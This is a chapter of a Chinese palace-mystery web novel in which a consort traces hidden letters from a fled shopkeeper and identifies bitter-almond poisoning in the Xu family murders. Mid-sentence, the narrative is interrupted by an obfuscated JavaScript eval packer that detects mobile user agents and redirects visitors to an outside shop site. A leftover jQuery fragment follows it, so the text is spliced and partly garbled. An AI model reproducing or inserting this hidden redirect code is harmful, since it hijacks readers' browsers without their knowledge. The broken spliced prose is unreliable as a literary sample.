文趣网 > 都市小说 > 隔壁死了个小宫女 > 27. 第27章
    寻柳推开前门进去。

    铺面迎面一张柜台,靠墙是一排货架,零零散散摆着几件瓷器。柜台上积了一层灰,看得出这两天没人擦过。

    但桌中央有一片干净的印子,原本放的东西被人取走了,留下一个灰尘框。

    寻柳在柜台看了一会儿,从袖中掏出一张纸比了比印子的尺寸。不大,跟徐家书房里那只竹篾小箱差不多。

    “安掌柜的住处在哪?”

    “铺子连着一个小院子。臣看了,院里没人,褥子叠得整整齐齐的,衣柜里的衣物少了一半。”宋衡说,“他走前收拾了东西,应该不是临时跑路,早准备走了。”

    寻柳走到后院的卧房。

    床铺整齐,被子叠成方块摞在床尾,茶壶里还有半壶凉水。衣柜门开着少了几件厚衣裳,留下空荡荡的木架子。

    “他还有别的地方可去吗?”

    “臣查过了,安掌柜在京城没有别的住处。但他在城郊有一间早年买下的老屋,多年没人住过了,登记的户簿上还在。”

    寻柳对宋衡说:“去看看。”

    南郊老屋在一条荒郊野外,四周是干枯的玉米地,破败的土墙在像一块补丁贴在田野。宋衡的人推开门,潮味扑面而来。

    屋里有人住过。灶里的灰还是温的,地上的草席被人用脚过,被褥卷成铺盖靠着墙根,旁边放着一只空碗。

    “他来过这里。”寻柳摸了摸灶灰,“昨夜或今早还住过,走得急,连碗都没来得及收拾。”

    “那他现在去哪儿了?”

    寻柳环顾这间老屋,她把碗拿起来,在碗底看到用指甲划出来的字,不想让人发现又不得不留下的东西。

    “后会有期。”四个字。

    寻柳把碗放回原处,“他跑了。但他还会回来。”

    宋衡问:“娘娘怎么知道?”

    “他没把东西带走。”寻柳指了指墙,“你翻过徐家那几只空箱子了。安掌柜从铺子里拿走的东西是另一件,不是徐家寄存在他那里那一批。他跑的时候只带了随身衣物,那只放东西的箱子没动过——就在柜台那排架子的角落里,你让人仔细找过了吗?”

    宋衡愣住:“臣只看了柜台,没有翻到后面的货架。”寻柳没有责备他:“回去翻。东西应该还在铺子里。”

    马车驶回南城,天终于亮了。

    寻柳靠在车厢壁上想了一会。

    安掌柜跑得急,他把那只箱子留在铺子里。说明他笃定就算铺子被人搜了,那只箱子也不会被人发现。如果不是见过藏东西的类似手法,她也想不到货架下还塞着一只箱子。

    回到安记铺子。

    宋衡亲自钻进柜台的货架下翻了片刻,他伸到里层拖出一只铁皮箱子。箱子沾满了灰,锁扣无损,没有被人打开过。

    寻柳看着锁扣,从袖中取出一根细铁丝弯了几下捅进锁眼。三两下锁扣就弹开,她掀开盖子里面躺着一沓纸。

    “永安三年冬,徐氏存。非本人不得取。”

    下面是几封信和账单。

    寻柳把信抽出来翻了翻,封口处压着模糊的私人印章。她认出印章图案——昨天她在徐家书房里看见的青石镇纸的刻纹一样。

    “安记。”她说。

    “宋大人,这个箱子我带回去。”

    宋衡点了点头。

    寻柳抱着那只铁皮箱子走出安记,初冬的街道行人稀落,传来卖糖葫芦的小贩拖长的吆喝声,喊两句就歇了,隔了很久又喊一声。

    她把箱子抱稳钻进车厢,马蹄声响起

    ……

    回宫之后,寻柳在偏殿坐了一个时辰。

    那只铁皮箱子放在她面前,里面的信件被她一沓一沓地抽出来。

    徐家存的东西比寻柳想中要多。

    一共有七封信,从永安元年到永安三年,落款只有一个“孙”字。字里行间是疏离的客气,不像至亲来往,更像隔着身份在传递消息。

    寻柳把七封信按时间排好,前几封写的都是无关紧要的日常杂事——天气、收成、布匹行情,语气平淡像两个友人的问候。

    但第四封信的内容变了。

    永安二年信中提到:“近日有人来铺中问货,来者不善。老夫已将货品移往别处,原处不留痕迹。你那边若有人来问,只说不知。”

    没有具体写“货品”是什么?“别处”在哪里。但徐家收到信之后,当月就有一笔钱汇往安记,金额比平时翻了三倍。

    “移往别处”这四个字轻描淡写,如果从时间上推算——永安二年,书晔还掌权,先帝旧案尚未平息。

    当时有人拿东西让安掌柜代为保管,徐家作为中转人接应,然后安掌柜又把东西转手。

    之后几封信再没有提过那批货品。

    但最后一封信是永安三年写的,落款日期比章渡出事早两个月。那封信很短:“事了。货已散。老夫今后不必再寄钱了。若有人上门,推说不知即可。”

    这是最后一封。

    但是徐家的账目上还有钱汇往安记,似乎寄钱的人没有收到那封信。

    徐家存东西,安记收东西,然后把东西转到别处。从永安元年到永安三年,持续了三年。写信的“孙”字落款,再也没有出现过。

    她把最后一封信翻过来看背面。

    “余者皆在安老手中。”

    安老就是安掌柜。但安掌柜跑了,而他留的东西只有这只铁皮箱子。信里提到的那批“货品”和“移往别处”的东西,并不在这只箱子里。

    寻柳把那封信单独抽出来,剩下的六封信按原样放回铁皮箱。

    冬日的天空灰蒙蒙的。

    她摸了摸猫的耳朵:“安掌柜手里还有东西。他跑的时候没带走藏在别处。”

    猫叫了一声回应她。

    寻柳把流川那本书翻到第七章果核图谱。

    酥糖里的果核她还没有确认,如果她能找到果核的产地,就可以反推出下毒的来源地。下毒的人掌握去果核技术,不像随手为之。

    “青栀,去太医院把孙院判请来。”

    青栀跑出院子。

    寻柳果核取出来,隐约有种熟悉的感觉,仿佛在哪里见过。

    两刻钟,孙鹤卿踩着积雪急匆匆赶来。他顾不上拂雪,一眼看见了桌子上的图谱和那枚果核:“娘娘,这果核老夫辨认过了——杏仁核。”

    “苦杏仁?”

    寻柳抬头

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876248|211945||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    看他,“酥糖里夹着苦杏仁核?”

    “这桩案子与寻常中毒案不同。苦杏仁研磨成粉与面粉混合烤制成酥糖,杏仁本身的苦味会被糖和香料盖过去。但苦杏仁核含有毒物质,少量可致人昏迷,过量可致死。”

    孙鹤卿指着图上的果核,“而且这种手法的关键在于——只有将苦杏仁核碾碎,才能让毒素散布在食物之中。如果直接把果核塞进酥糖里,反而不会致命。”

    寻柳听完:“所以凶手拿捏好了剂量。”

    “不仅如此。这种手法不是谁都会的。要将苦杏仁核的毒性控制在‘致死’和‘不致死’之间,需要对果核的处理有精确的掌控。只有长期接触药材的人才会熟悉这种配方。”

    长期接触药材的人?

    长期接触药材又能自由出入徐家、熟悉徐家人作息、能在众人毫无防备时下毒的人。符合这些条件的人,范围并不大。

    她把杏仁核包好:“孙院判,你帮我写一份关于苦杏仁毒性剂量的详细报告,附上病例和参考文献。我拿去给宋衡看。”

    孙鹤卿拱手:“老夫回去写。明早送来。”

    寻柳在桌边多坐了一阵。铁皮箱被她推到角落放着,猫蜷在箱子上睡着了,尾巴一晃一晃的。她轻轻拨了拨小猫的耳朵,它睡得四仰八叉的。

    徐家、安记、杏仁核。这三样东西缺了任何一样都扑朔迷离。

    寻柳把信又看了三遍。

    她注意到信里的“孙”字写法有些特别——收尾有一个回勾,她拿过一张白纸模仿了一下,“青栀,徐家那些信物里有没有徐夫人的笔迹?书信、便条、什么都行。”

    青栀想了想:“徐家还有个陪嫁丫头活着,那丫头说徐夫人平时不写信,但她藏着一本抄的食谱。”青栀说完跑出去,不到半个时辰捧着一本册子跑回来。“娘娘,就是这本。那丫头说徐夫人当年从娘家带过来的,平时自己写写画画,旁人碰都不让碰。”

    册子字迹工整是女子的手笔。

    但翻到后半页夹了一张纸,字迹不太一样,笔画更粗。

    纸上的字迹跟信上的“孙”字很像。

    尤其那一横的角度几乎完全一致。

    “这本簿册是徐夫人从娘家带过来的,”寻柳说,“但里面夹了一张别人写的纸。你觉得这张纸是谁写的?”

    青栀凑近看了看:“奴婢看不出。但这字比徐夫人的墨重,有点像男人写的。”

    寻柳把那页纸跟铁皮箱子里的信放在一起,几乎同出一辙。

    “青栀,你去一趟刑部。让宋衡查查徐夫人娘家的底细,孙家在哪儿?有几口人?有没有会在药材行当里待过的人。”

    青栀点头:“奴婢现在就去。”

    如果孙家有人曾经在药铺里待过、跟药材打过交道,那会加工果核就说得通了。熟悉药材的人,知道用多少剂量能让人昏迷致命。

    徐家七口人的死法不一样,因为凶手对不同的人下手不同——他用了针毒让有些人体面地走,不值得体面走的人就用了果核,来不及处理的人用了窒息。

    一个人完成三种手法。

    说明凶手在现场待了很长时间,要么在动手前就把每个人的死法想好了。